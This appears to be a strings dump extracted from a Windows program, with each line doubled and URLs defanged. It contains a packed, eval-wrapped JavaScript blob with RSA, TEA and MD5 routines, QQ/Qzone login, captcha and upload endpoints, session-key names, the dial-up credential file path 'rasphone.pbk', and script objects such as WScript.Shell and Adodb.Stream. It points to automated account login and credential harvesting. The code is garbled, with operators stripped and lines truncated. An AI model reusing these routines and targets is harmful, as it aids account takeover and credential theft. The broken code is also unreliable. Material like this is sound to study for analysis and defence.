3w(r,B){Z 2d(1R(r,B))}X 1E(r,B){r[B>>5]|=2I>>9C;C )A[C]=z[C]^4T,D[C]=z[C]^4U;z=1E(A.2Y(1K(B)),4W B.1c*1n);Z 1E(D.2Y(z),4X)}X 1v(r,B){Y z=(r&1G) (B&1G);Z(r>>16) (B>>16) (z>>16)>>32-B}X 1K(r){19(Y B=[],z=(1>5]|=(r.1C(A/1n)&z)>5]>>>A2&z);Z B}X 2l(r){19(Y B=2D?"4Y":"4Z",z="",A=0;A>2]>>A%4*8 4&15) B.1l(r[A>>2]>>A%4*8&15);Z z}X 2Z(r){19(Y B=[],z=0;zD.1c;)D="0" D;1D.2g(r);B=1D.2p(D A 1D.28(B) z C);1D.2g("");Z B.57(/[\\/\\ =]/g,X(r){Z{"/":"-"," ":"*","=":"58"}[r]})}X 4Q(r,B,z){Z 33(r,B,z,!1)};',62,320,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||this|function|var|return||||||||||for|if|prototype|length|null|DB|255|md5_gg|else|md5_hh|md5_ff|md5_ii|charAt|subTo|chrsz|DV|Math|clamp|4294967295|DM|Array|new|safe_add|abs|ZERO|push|am|reduce|256|charCodeAt|TEA|core_md5|toString|65535|compareTo|copyTo|63|str2binl|dlShiftTo|md5_cmn|32767|RSA|floor|divRemTo|core_hmac_md5|fromString|parseInt|ONE|mulTo|md5|multiplyTo|sqrTo|negate||||||squareTo|encrypt|F1|strToBytes|F2|mp|drShiftTo|fromInt|binl2str|convert|mpl|initkey|String|fromCharCode|substr|lShiftTo|binl2hex|revert|rShiftTo|2654435769|enAsBase64|encode|rsa_encrypt|PADCHAR|ALPHA|getbyte|throw|arguments|next|init|random|0123456789abcdefghijklmnopqrstuvwxyz|case|join|hexcase|exp|mode|isEven|hex_md5|128|mod|FV|1073741823|nextBytes|bitLength|uv_alert|setPublic|modPowInt|doPublic|mt2|um|mph|invDigit|typeof|bit_rol|concat|hexchar2bin||temp||getEncryption|Exception|round||SyntaxError|Not|enough|Message|min|too|pow|switch|long|break|dmq1|fromNumber|b64pad|Date|Invalid|248|97|toRadix|public|str_md5|key|hex_hmac_md5|65536|b64_hmac_md5|binl2b64|str_hmac_md5|64|3816266640|1732584193|271733879|1732584194|271733878|65|680876936|389564586|getTime|606105819|fromRadix|1044525330|176418897|1200080426|1473231341|45705983|1770035416|1958414417|42063|1990404162|1804603682|string|40341101|1502002290|1236535329|decrypt|165796510|1069501632|643717713|F20CE00BAE5361F8FA3AE9CEFA495362FF7DA1BA628F64A347F0A8C012BF0B254A30CD92ABFFE7A6EE0DC424CB6166F8819EFA5BCCB20EDFB4AD02E412CCF579B1CA711D55B8B0B3AEB60153D5E0693A2A86F3167D7847A0CB8B00004716A9095D9BADC977CBB804DBDCBA6029A9710869A453F27DFDDF83C016D928B3CBF4C7|373897302|701558691|38016083|660478335|405537848|568446438||1019803690|187363961|1163531501|1444681467|51403784|1735328473|1926607734|bytesToStr|378558|2022574463|1839030562|dmp1|35309556|1530992060|1272893353|155497632|1094730640|681279174|358537222|722521979|76029189|640364487|421815835|530742520|995338651|bytesInStr|198630844|1126891415|1416354905|dataFromStr|57434055|1700485571|1894986606|1051523|2054922799|1873313359|30611744|1560198380|1309151649|145523070|1120210379|718787259|343485551|Hs|max|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|909522486|1549556828|coeff|512|640|0123456789ABCDEF|0123456789abcdef|number|eval||INVALID_CHARACTER_ERR|DOM|toUpperCase|000|replace|_|Number'.split('|'),0,{}))
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('Y 1O=X(){X r(){W.n=1d;W.e=0;W.4V=W.3h=W.4k=W.q=W.p=W.d=1d}X B(r,z,I){1d!=r&&("50"==2W r?W.3i(r,z,I):1d==z&&"3T"!=2W r?W.1S(r,1B):W.1S(r,z))}X z(){Z 1u B(1d)}X A(r){Y V=z();V.2c(r);Z V}X D(r){Y z=1,I;0!=(I=r>>>16)&&(r=I,z =16);0!=(I=r>>8)&&(r=I,z =8);0!=(I=r>>4)&&(r=I,z =4);0!=(I=r>>2)&&(r=I,z =2);0!=r>>1&&(z =1);Z z}X C(r){W.m=r}X E(r){W.m=r;W.2a=r.2V();W.2f=W.2a&1N;W.2U=W.2a>>15;W.2T=(1>8&1f;L[G ]^=r>>16&1f;L[G ]^=r>>24&1f;G>=U&&(G-=U)}X O(){}X N(){W.j=W.i=0;W.S=[]}r.1b.2R=X(r){Z r.2Q(W.e,W.n)};r.1b.2P=X(r,z){1d!=r&&1d!=z&&0>3;1a(z>=15;0>15,G=z*R F*E,R=E*R ((G&1N)>>30) (G>>>15) z*F (D>>>30);A[B ]=R&2L}Z D};H=30;B.1b.1e=H;B.1b.1s=(1=K; K)S[H ]=K;H=3n;19(K=10;36>K; K)S[H ]=K;H=3D;19(K=10;36>K; K)S[H ]=K;C.1b.2e=X(r){Z 0>r.s||0r.s&&0>15)*W.2f&W.2T)=r.1o;)r[A]-=r.1o,r[ A] }r.1q();r.2b(W.m.t,r);0r?-1:0;0r?W[0]=r 1o:W.t=0};B.1b.1S=X(r,z){Y A;1a(16==z)A=4;1h 1a(8==z)A=3;1h 1a(1B==z)A=8;1h 1a(2==z)A=1;1h 1a(32==z)A=5;1h 1a(4==z)A=2;1h{W.3I(r,z);Z}W.s=W.t=0;19(Y D=r.1c,C=!1,E=0;0J?"-"==r.1l(D)&&(C=!0):(C=!1,0==E?W[W.t ]=J:E A>W.1e?(W[W.t-1]|=(J&(1>W.1e-E):W[W.t-1]|=J=W.1e&&(E-=W.1e))}8==A&&0!=(r[0]&2I)&&(W.s=-1,0>B|E,E=(W[F]&D)=W.t)z.t=0;1h{Y B=r%W.1e,D=W.1e-B,C=(1>B;19(Y E=A 1;E>B;0>=W.1e;1a(r.t>=W.1e;B =W.s}1h{19(B =W.s;A>=W.1e;B-=r.s}z.s=0>B?-1:0;-1>B?z[A ]=W.1o B:0=z.1o&&(r[A z.t]-=z.1o,r[A z.t 1]=1)}0=E.t)){Y F=W.1w();1a(F.t>W.29:0),K=W.2K/H,H=(1J&&B.1x.1m(C,C)}}}};B.1b.2V=X(){1a(1>W.t)Z 0;Y r=W[0];1a(0==(r&1))Z 0;Y z=r&3,z=z*(2-(r&15)*z)&15,z=z*(2-(r&1f)*z)&1f,z=z*(2-((r&1G)*z&1G))&1G,z=z*(2-r*z%W.1o)%W.1o;Z 0r)Z B.1U;Y C=z(),E=z(),F=A.2e(W),G=D(r)-1;19(F.1I(C);0W.s)Z"-" W.1Z().1F(r);1a(16==r)r=4;1h 1a(8==r)r=3;1h 1a(2==r)r=1;1h 1a(32==r)r=5;1h 1a(4==r)r=2;1h Z W.3o(r);Y z=(1>E)&&(B=!0,C="2A".1l(A));0>(E =W.1e-r)):(A=W[D]>>(E-=r)&z,0>=E&&(E =W.1e,--D)),0W.s?W.1Z():W};B.1b.1H=X(r){Y z=W.s-r.s;1a(0!=z)Z z;Y A=W.t,z=A-r.t;1a(0!=z)Z z;19(;0=W.t?0:W.1e*(W.t-1) D(W[W.t-1]^W.s&W.1s)};B.1b.2J=X(r){Y A=z();W.1w().1Q(r,1d,A);0>W.s&&0r||z.2G()?1u C(z):1u E(z);Z W.2E(r,A)};B.1x=A(0);B.1U=A(1);Y T,L,G;1a(1d==L){L=[];19(G=0;G>>8,L[G ]=H&1f;G=0;F()}O.1b.2M=X(r){Y z;19(z=0;zz; z)W.S[z]=z;19(z=A=0;1B>z; z)A=A W.S[z] r[z%r.1c]&1f,B=W.S[z],W.S[z]=W.S[A],W.S[A]=B;W.j=W.i=0};N.1b.2x=X(){Y r;W.i=W.i 1&1f;W.j=W.j W.S[W.i]&1f;r=W.S[W.i];W.S[W.i]=W.S[W.j];W.S[W.j]=r;Z W.S[r W.S[W.i]&1f]};Y U=1B;Z{2r:X(z,A,B){A="41";B="3";Y C=1u r;C.2P(A,B);Z C.26(z)}}}(),s="",a=0,g=[],x=[],y=0,u=0,m=[],t=[],n=!0;X e(){Z 1p.35(1r*1p.2z())}X j(r,B,z){1a(!z||4>>0}X b(r,B,z){r[B 3]=z>>0&1f;r[B 2]=z>>8&1f;r[B 1]=z>>16&1f;r[B 0]=z>>24&1f}X w(r){1a(!r)Z"";19(Y B="",z=0;zz;z )x[z]=0;19(z=1;2>=z;)8>a&&(g[a ]=e()&1f,z ),8==a&&p();19(z=0;0a&&(g[a ]=r[z ],B--),8==a&&p();19(z=1;7>=z;)8>a&&(g[a ]=0,z ),8==a&&p();Z m}X q(r){Y B=0,z=1t(8),B=r.1c;t=r;1a(0!=B%8||16>B)Z 1d;x=l(r);a=x[0]&7;B=B-a-10;1a(0>B)Z 1d;19(Y A=0;A=A;)1a(8>a&&(a ,A ),8==a&&(z=r,!f()))Z 1d;19(A=0;0!=B;)1a(8>a&&(m[A]=(z[u a]^x[a])&1f,A ,B--,a ),8==a&&(z=r,u=y-8,!f()))Z 1d;19(A=1;8>A;A ){1a(8>a){1a(0!=(z[u a]^x[a]))Z 1d;a }1a(8==a&&(z=r,u=y,!f()))Z 1d}Z m}X p(){19(Y r=0;8>r;r )g[r]=n?g[r]^x[r]:g[r]^m[u r];19(Y B=k(g),r=0;8>r;r )m[y r]=B[r]^x[r],x[r]=g[r];u=y;y =8;a=0;n=!1}X k(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=0;0>>0,z =(r>>5) D,z=(z&1r)>>>0,r =(z>>5) E,r=(r&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X l(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=3y;0>>5) E,r=(r&1r)>>>0,z-=(r>>5) D,z=(z&1r)>>>0,F-=2o,F=(F&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X f(){19(Y r=0;8>r;r )x[r]^=t[y r];x=l(x);y =8;a=0;Z!0}X o(r,B){Y z=[];1a(B)19(Y A=0;A>18)),E.1y(z.1l(C>>12&1J)),E.1y(z.1l(C>>6&1J)),E.1y(z.1l(C&1J));3e(r.1c-F){2B 1:C=A(r,D)>18) z.1l(C>>12&1J) B B);3g;2B 2:C=A(r,D)>18) z.1l(C>>12&1J) z.1l(C>>6&1J) B)}Z E.2C("")}},2D=1,3j="",1n=8,2F=32;X 1W(r){Z 2H(r)}X 2H(r){Z 2l(1E(1K(r),r.1c*1n))}X 3q(r){Z 2d(1E(1K(r),r.1c*1n))}X 3s(r,B){Z 2l(1R(r,B))}X 3u(r,B){Z 3v(1R(r,B))}X 3w(r,B){Z 2d(1R(r,B))}X 1E(r,B){r[B>>5]|=2I>>9C;C )A[C]=z[C]^4T,D[C]=z[C]^4U;z=1E(A.2Y(1K(B)),4W B.1c*1n);Z 1E(D.2Y(z),4X)}X 1v(r,B){Y z=(r&1G) (B&1G);Z(r>>16) (B>>16) (z>>16)>>32-B}X 1K(r){19(Y B=[],z=(1>5]|=(r.1C(A/1n)&z)>5]>>>A2&z);Z B}X 2l(r){19(Y B=2D?"4Y":"4Z",z="",A=0;A>2]>>A%4*8 4&15) B.1l(r[A>>2]>>A%4*8&15);Z z}X 2Z(r){19(Y B=[],z=0;zD.1c;)D="0" D;1D.2g(r);B=1D.2p(D A 1D.28(B) z C);1D.2g("");Z B.57(/[\\/\\ =]/g,X(r){Z{"/":"-"," ":"*","=":"58"}[r]})}X 4Q(r,B,z){Z 33(r,B,z,!1)};',62,320,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||this|function|var|return||||||||||for|if|prototype|length|null|DB|255|md5_gg|else|md5_hh|md5_ff|md5_ii|charAt|subTo|chrsz|DV|Math|clamp|4294967295|DM|Array|new|safe_add|abs|ZERO|push|am|reduce|256|charCodeAt|TEA|core_md5|toString|65535|compareTo|copyTo|63|str2binl|dlShiftTo|md5_cmn|32767|RSA|floor|divRemTo|core_hmac_md5|fromString|parseInt|ONE|mulTo|md5|multiplyTo|sqrTo|negate||||||squareTo|encrypt|F1|strToBytes|F2|mp|drShiftTo|fromInt|binl2str|convert|mpl|initkey|String|fromCharCode|substr|lShiftTo|binl2hex|revert|rShiftTo|2654435769|enAsBase64|encode|rsa_encrypt|PADCHAR|ALPHA|getbyte|throw|arguments|next|init|random|0123456789abcdefghijklmnopqrstuvwxyz|case|join|hexcase|exp|mode|isEven|hex_md5|128|mod|FV|1073741823|nextBytes|bitLength|uv_alert|setPublic|modPowInt|doPublic|mt2|um|mph|invDigit|typeof|bit_rol|concat|hexchar2bin||temp||getEncryption|Exception|round||SyntaxError|Not|enough|Message|min|too|pow|switch|long|break|dmq1|fromNumber|b64pad|Date|Invalid|248|97|toRadix|public|str_md5|key|hex_hmac_md5|65536|b64_hmac_md5|binl2b64|str_hmac_md5|64|3816266640|1732584193|271733879|1732584194|271733878|65|680876936|389564586|getTime|606105819|fromRadix|1044525330|176418897|1200080426|1473231341|45705983|1770035416|1958414417|42063|1990404162|1804603682|string|40341101|1502002290|1236535329|decrypt|165796510|1069501632|643717713|F20CE00BAE5361F8FA3AE9CEFA495362FF7DA1BA628F64A347F0A8C012BF0B254A30CD92ABFFE7A6EE0DC424CB6166F8819EFA5BCCB20EDFB4AD02E412CCF579B1CA711D55B8B0B3AEB60153D5E0693A2A86F3167D7847A0CB8B00004716A9095D9BADC977CBB804DBDCBA6029A9710869A453F27DFDDF83C016D928B3CBF4C7|373897302|701558691|38016083|660478335|405537848|568446438||1019803690|187363961|1163531501|1444681467|51403784|1735328473|1926607734|bytesToStr|378558|2022574463|1839030562|dmp1|35309556|1530992060|1272893353|155497632|1094730640|681279174|358537222|722521979|76029189|640364487|421815835|530742520|995338651|bytesInStr|198630844|1126891415|1416354905|dataFromStr|57434055|1700485571|1894986606|1051523|2054922799|1873313359|30611744|1560198380|1309151649|145523070|1120210379|718787259|343485551|Hs|max|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|909522486|1549556828|coeff|512|640|0123456789ABCDEF|0123456789abcdef|number|eval||INVALID_CHARACTER_ERR|DOM|toUpperCase|000|replace|_|Number'.split('|'),0,{}))
@1970-01-01 08:00:00
@1970-01-01 08:00:00
\IP.qyd
\IP.qyd
hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ip查询
hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ip查询
hXXp://VVV.ip138.com/ips138.asp
hXXp://VVV.ip138.com/ips138.asp
hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=
hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
hXXp://check.ptlogin2.qzone.com/check?regmaster=
hXXp://check.ptlogin2.qzone.com/check?regmaster=
VVV.qqydw.com
VVV.qqydw.com
hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=
hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=
hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=
hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=
&0.7863333761803015
&0.7863333761803015
hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=
hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=0&pt_verifysession_v1=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=0&pt_verifysession_v1=
hXXp://ptlogin2.qzone.com/login?verifycode=
hXXp://ptlogin2.qzone.com/login?verifycode=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=1&pt_verifysession_v1=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=1&pt_verifysession_v1=
hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425
hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425
', '79822291');
', '79822291');
ptmbsuperkey=
ptmbsuperkey=
skey=
skey=
hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=
hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=
hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=
hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=
'0','','0','
'0','','0','
q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=
q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=
hXXp://user.qzone.
hXXp://user.qzone.
hXXp://m.qzone.com/album/fcg_album_operation?g_tk=
hXXp://m.qzone.com/album/fcg_album_operation?g_tk=
hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3
hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3
Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2
hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2
&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=
&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=
&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=
&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=
WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
application/x-www-form-urlencoded
application/x-www-form-urlencoded
SetClientCertificate
SetClientCertificate
VVV.baidu.com
VVV.baidu.com
798222986
798222986
%d/%d/%d %d:%d:%d
%d/%d/%d %d:%d:%d
p@\Microsoft\Network\Connections\pbk\rasphone.pbk
p@\Microsoft\Network\Connections\pbk\rasphone.pbk
ChangePasswordRequested
ChangePasswordRequested
PasswordExpired
PasswordExpired
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime())
Math.round(new Date().getTime())
Math.round(new Date().getTime() * 100)
Math.round(new Date().getTime() * 100)
7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
WScript.Shell
WScript.Shell
rundll32.exe url.dll,FileProtocolHandler
rundll32.exe url.dll,FileProtocolHandler
function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}
function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}
function print_newline(ignore_repeated) {ignore_repeated = typeof ignore_repeated === "undefined" ? true : ignore_repeated;trim_output();if (!output.length) {return;}if (output[output.length - 1] !== "\n" || !ignore_repeated) {output.push("\n");}for (var i = 0; i
function print_newline(ignore_repeated) {ignore_repeated = typeof ignore_repeated === "undefined" ? true : ignore_repeated;trim_output();if (!output.length) {return;}if (output[output.length - 1] !== "\n" || !ignore_repeated) {output.push("\n");}for (var i = 0; i
function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}
function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}
function print_token() {output.push(token_text);}
function print_token() {output.push(token_text);}
function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}
function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}
function set_mode(mode) {modes.push(current_mode);current_mode = mode;}
function set_mode(mode) {modes.push(current_mode);current_mode = mode;}
function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}
function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}
function in_array(what, arr) {for (var i = 0; i
function in_array(what, arr) {for (var i = 0; i
function get_next_token() {var n_newlines = 0;var c = "";do {if (parser_pos >= input.length) {return ["", "TK_EOF"];}c = input.charAt(parser_pos);parser_pos = 1;if (c === "\n") {n_newlines = 1;}} while (in_array(c, whitespace));if (n_newlines > 1) {for (var i = 0; i = input.length) {break;}}}parser_pos = 2;return ["/*" comment "*/", "TK_BLOCK_COMMENT"];}if (input.charAt(parser_pos) === "/") {comment = c;while (input.charAt(parser_pos) !== "\r" && input.charAt(parser_pos) !== "\n") {comment = input.charAt(parser_pos);parser_pos = 1;if (parser_pos >= input.length) {break;}}parser_pos = 1;if (wanted_newline) {print_newline();}return [comment, "TK_COMMENT"];}}if (c === "'" || c === "\"" || c === "/" && (last_type === "TK_WORD" && last_text === "return" || last_type === "TK_START_EXPR" || last_type === "TK_END_BLOCK" || last_type === "TK_OPERATOR" || last_type === "TK_EOF" || last_type === "TK_END_COMMAND")) {var sep = c;var esc = false;c = "";if (parser_pos = input.length) {break;}}}parser_pos = 1;if (last_type === "TK_END_COMMAND") {print_newline();}return [sep c sep, "TK_STRING"];}if (in_array(c, punct)) {while (parser_pos = input.length) {break;}}return [c, "TK_OPERATOR"];}return [c, "TK_UNKNOWN"];}
function get_next_token() {var n_newlines = 0;var c = "";do {if (parser_pos >= input.length) {return ["", "TK_EOF"];}c = input.charAt(parser_pos);parser_pos = 1;if (c === "\n") {n_newlines = 1;}} while (in_array(c, whitespace));if (n_newlines > 1) {for (var i = 0; i = input.length) {break;}}}parser_pos = 2;return ["/*" comment "*/", "TK_BLOCK_COMMENT"];}if (input.charAt(parser_pos) === "/") {comment = c;while (input.charAt(parser_pos) !== "\r" && input.charAt(parser_pos) !== "\n") {comment = input.charAt(parser_pos);parser_pos = 1;if (parser_pos >= input.length) {break;}}parser_pos = 1;if (wanted_newline) {print_newline();}return [comment, "TK_COMMENT"];}}if (c === "'" || c === "\"" || c === "/" && (last_type === "TK_WORD" && last_text === "return" || last_type === "TK_START_EXPR" || last_type === "TK_END_BLOCK" || last_type === "TK_OPERATOR" || last_type === "TK_EOF" || last_type === "TK_END_COMMAND")) {var sep = c;var esc = false;c = "";if (parser_pos = input.length) {break;}}}parser_pos = 1;if (last_type === "TK_END_COMMAND") {print_newline();}return [sep c sep, "TK_STRING"];}if (in_array(c, punct)) {while (parser_pos = input.length) {break;}}return [c, "TK_OPERATOR"];}return [c, "TK_UNKNOWN"];}
indent_character = indent_character || " ";indent_size = indent_size || 4;indent_string = "";while (indent_size--) {indent_string = indent_character;}input = js_source_text;last_word = "";last_type = "TK_START_EXPR";last_text = "";output = [];do_block_just_closed = false;var_line = false;var_line_tainted = false;whitespace = "\n\r\t ".split("");wordchar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$".split("");punct = " - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
indent_character = indent_character || " ";indent_size = indent_size || 4;indent_string = "";while (indent_size--) {indent_string = indent_character;}input = js_source_text;last_word = "";last_type = "TK_START_EXPR";last_text = "";output = [];do_block_just_closed = false;var_line = false;var_line_tainted = false;whitespace = "\n\r\t ".split("");wordchar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$".split("");punct = " - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
x =a.replace(/^\s /, '')
x =a.replace(/^\s /, '')
1970/01/01 00:00:00
1970/01/01 00:00:00
1970-01-01 00:00:00
1970-01-01 00:00:00
Adodb.Stream
Adodb.Stream
MSScriptControl.ScriptControl
MSScriptControl.ScriptControl
Scripting.Encoder
Scripting.Encoder
1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,
1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,
1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,
1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,
1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,
1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,
1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2
1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2
digits["A".charCodeAt(0) i] = i
digits["A".charCodeAt(0) i] = i
digits["a".charCodeAt(0) i] = i 26
digits["a".charCodeAt(0) i] = i 26
for (var i=0; i
for (var i=0; i
if (char.charCodeAt(0) > 126) return char
if (char.charCodeAt(0) > 126) return char
if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)
if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)
val = (digits[string.substr(0,1).charCodeAt(0)]
val = (digits[string.substr(0,1).charCodeAt(0)]
val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)
val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)
val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)
val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)
val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)
val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)
val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)
val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)
val = (digits[string.substr(3,1).charCodeAt(0)]
val = (digits[string.substr(3,1).charCodeAt(0)]
scriptIndex = encodingString.indexOf(marker, stringIndex)
scriptIndex = encodingString.indexOf(marker, stringIndex)
unEncodingString = encodingString.substring(stringIndex, scriptIndex)
unEncodingString = encodingString.substring(stringIndex, scriptIndex)
scriptIndex = marker.length
scriptIndex = marker.length
unEncodingString = encodingString.substr(stringIndex, encodingString.length)
unEncodingString = encodingString.substr(stringIndex, encodingString.length)
encodingLength = encodingString.substr(scriptIndex, 6)
encodingLength = encodingString.substr(scriptIndex, 6)
scriptIndex = (6 "==".length)
scriptIndex = (6 "==".length)
stringIndex = scriptIndex "DQgAAA==^#~@".length
stringIndex = scriptIndex "DQgAAA==^#~@".length
char = encodingString.substr(scriptIndex, 1)
char = encodingString.substr(scriptIndex, 1)
if (char.charCodeAt(0)
if (char.charCodeAt(0)
unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])
unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])
unEncodingString = unescape(encodingString.substr( scriptIndex, 1))
unEncodingString = unescape(encodingString.substr( scriptIndex, 1))
re = new RegExp("(JScript|VBscript).encode", "gmi")
re = new RegExp("(JScript|VBscript).encode", "gmi")
while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext
while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext
strdec(AdodbStream.ReadText);
strdec(AdodbStream.ReadText);
function urlencodeutf8(str) {
function urlencodeutf8(str) {
function urlencode(str) {
function urlencode(str) {
function urldecode(str) {
function urldecode(str) {
urlencode
urlencode
0.0.0.0
0.0.0.0
0000000000
0000000000
TempObj=JSON.parse(str);
TempObj=JSON.parse(str);
var obj=JSON.parse(str);
var obj=JSON.parse(str);
Lobj.push(obj);
